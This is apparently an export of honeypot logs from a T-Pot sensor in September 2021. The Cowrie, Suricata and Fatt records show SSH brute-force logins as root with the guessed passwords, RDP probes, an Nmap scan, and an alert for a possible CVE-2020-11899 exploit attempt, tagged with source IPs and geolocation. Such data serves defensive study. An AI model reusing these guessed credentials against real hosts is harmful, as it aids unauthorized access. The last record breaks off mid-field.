"@timestamp": "2021-09-20T12:06:49.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35204	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:06:51.2291+03	2021-09-20 15:15:02.94869+03	{"_id": "oQYaA3wBvYTbRNuEDVrM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/951753] failed", "session": "2afaeb12f0ef", "@version": "1", "password": "951753", "username": "root", "timestamp": "2021-09-20T12:06:51.229100Z", "@timestamp": "2021-09-20T12:06:51.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35205	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:06:52.501113+03	2021-09-20 15:15:02.94969+03	{"_id": "ogYaA3wBvYTbRNuEFVqd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/95289528] failed", "session": "2afaeb12f0ef", "@version": "1", "password": "95289528", "username": "root", "timestamp": "2021-09-20T12:06:52.501113Z", "@timestamp": "2021-09-20T12:06:52.501Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35206	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:06:53.765693+03	2021-09-20 15:15:02.950691+03	{"_id": "pAYaA3wBvYTbRNuEGVqH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "2afaeb12f0ef", "@version": "1", "duration": 5.469045400619507, "timestamp": "2021-09-20T12:06:53.765693Z", "@timestamp": "2021-09-20T12:06:53.765Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35207	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 15:07:13.8907+03	2021-09-20 15:15:02.95169+03	{"_id": "ugYaA3wBvYTbRNuEaFrM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:07:13.890700+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1907538747561804, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:07:13.890700Z", "@timestamp": "2021-09-20T12:07:13.890Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
35208	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:07:15.607196+03	2021-09-20 15:15:02.95369+03	{"_id": "wQYaA3wBvYTbRNuEbFq1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:07:14.859862+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 57580369092310, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52433, "dest_port": 3389, "timestamp": "2021-09-20T12:07:15.607196Z", "@timestamp": "2021-09-20T12:07:15.607Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35209	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:07:15.257367+03	2021-09-20 15:15:02.95469+03	{"_id": "xQYaA3wBvYTbRNuEbFq4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:07:14.859862+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 57580369092310, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 52433, "timestamp": "2021-09-20T12:07:15.257367Z", "@timestamp": "2021-09-20T12:07:15.257Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35210	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:07:17.89679+03	2021-09-20 15:15:02.955691+03	{"_id": "0QYaA3wBvYTbRNuEd1pQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:60121 (192.168.176.2:22) [session: 7ebe3ad8a2c0]", "session": "7ebe3ad8a2c0", "@version": "1", "protocol": "ssh", "src_port": 60121, "dest_port": 22, "timestamp": "2021-09-20T12:07:17.896790Z", "@timestamp": "2021-09-20T12:07:17.896Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	NL
35211	95.85.8.215	109.199.241.180	Suricata	2021-09-20 15:07:17.943435+03	2021-09-20 15:15:02.956689+03	{"_id": "1AYaA3wBvYTbRNuEeFpw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 1399884350880834, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60121, "dest_port": 22, "timestamp": "2021-09-20T12:07:17.943435Z", "@timestamp": "2021-09-20T12:07:17.943Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	NL
35212	45.146.165.19	109.199.241.180	Suricata	2021-09-20 15:07:18.750864+03	2021-09-20 15:15:02.95869+03	{"_id": "1QYaA3wBvYTbRNuEeFpw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:07:18.750864+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 68859, "action": "allowed", "category": "Misc Attack", "metadata": {"tag": ["CINS"], "created_at": ["2013_10_08"], "deployment": ["Perimeter"], "updated_at": ["2021_09_17"], "attack_target": ["Any"], "affected_product": ["Any"], "signature_severity": ["Major"]}, "severity": 2, "signature": "ET CINS Active Threat Intelligence Poor Reputation IP group 43", "signature_id": 2403342}, "geoip": {}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "45.146.165.19", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 92421144081680, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ET.Evil", "ET.DshieldIP"]}, "src_port": 52214, "dest_port": 3389, "timestamp": "2021-09-20T12:07:18.750864Z", "@timestamp": "2021-09-20T12:07:18.750Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
35213	45.146.165.19	109.199.241.180	Suricata	2021-09-20 15:07:18.750864+03	2021-09-20 15:15:02.95969+03	{"_id": "0wYaA3wBvYTbRNuEeFpw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:07:18.750864+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 6036, "action": "allowed", "category": "Misc Attack", "metadata": {"tag": ["Dshield"], "created_at": ["2010_12_30"], "deployment": ["Perimeter"], "updated_at": ["2021_09_17"], "attack_target": ["Any"], "affected_product": ["Any"], "signature_severity": ["Major"]}, "severity": 2, "signature": "ET DROP Dshield Block Listed Source group 1", "signature_id": 2402000}, "geoip": {}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "45.146.165.19", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 92421144081680, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ET.Evil", "ET.DshieldIP"]}, "src_port": 52214, "dest_port": 3389, "timestamp": "2021-09-20T12:07:18.750864Z", "@timestamp": "2021-09-20T12:07:18.750Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
35214	45.146.165.19	109.199.241.180	Suricata	2021-09-20 15:07:18.750864+03	2021-09-20 15:15:02.961691+03	{"_id": "1gYaA3wBvYTbRNuEeFpy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:07:18.750864+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 3, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN NMAP -sS window 1024", "signature_id": 2009582}, "geoip": {}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "45.146.165.19", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 92421144081680, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ET.Evil", "ET.DshieldIP"]}, "src_port": 52214, "dest_port": 3389, "timestamp": "2021-09-20T12:07:18.750864Z", "@timestamp": "2021-09-20T12:07:18.750Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
35215	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:07:17.900705+03	2021-09-20 15:15:02.96269+03	{"_id": "2gYaA3wBvYTbRNuEeVrD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60121, "timestamp": "2021-09-20T12:07:17.900705", "@timestamp": "2021-09-20T12:07:17.900Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35216	95.85.8.215	109.199.241.180	Fatt	2021-09-20 15:07:17.943516+03	2021-09-20 15:15:02.963689+03	{"_id": "2wYaA3wBvYTbRNuEeVrD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60121, "dest_port": 22, "timestamp": "2021-09-20T12:07:17.943516", "@timestamp": "2021-09-20T12:07:17.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	NL
35217	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:07:19.278384+03	2021-09-20 15:15:02.96469+03	{"_id": "3AYaA3wBvYTbRNuEe1o4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "7ebe3ad8a2c0", "@version": "1", "duration": 1.3789210319519043, "timestamp": "2021-09-20T12:07:19.278384Z", "@timestamp": "2021-09-20T12:07:19.278Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	NL
35218	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:07:15.221814+03	2021-09-20 15:15:02.96569+03	{"_id": "xAYaA3wBvYTbRNuEbFq2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:07:14.859862+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 57580369092310, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52433, "dest_port": 3389, "timestamp": "2021-09-20T12:07:15.221814Z", "@timestamp": "2021-09-20T12:07:15.221Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35219	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:07:15.607196+03	2021-09-20 15:15:02.96769+03	{"_id": "wwYaA3wBvYTbRNuEbFq2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:07:14.859862+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 57580369092310, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52433, "dest_port": 3389, "timestamp": "2021-09-20T12:07:15.607196Z", "@timestamp": "2021-09-20T12:07:15.607Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35220	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:07:15.221814+03	2021-09-20 15:15:02.968689+03	{"_id": "xgYaA3wBvYTbRNuEbVqq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 52433, "dest_port": 3389, "timestamp": "2021-09-20T12:07:15.221814", "@timestamp": "2021-09-20T12:07:15.221Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
35221	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:07:17.944103+03	2021-09-20 15:15:02.96969+03	{"_id": "zwYaA3wBvYTbRNuEd1pQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7ebe3ad8a2c0", "@version": "1", "timestamp": "2021-09-20T12:07:17.944103Z", "@timestamp": "2021-09-20T12:07:17.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 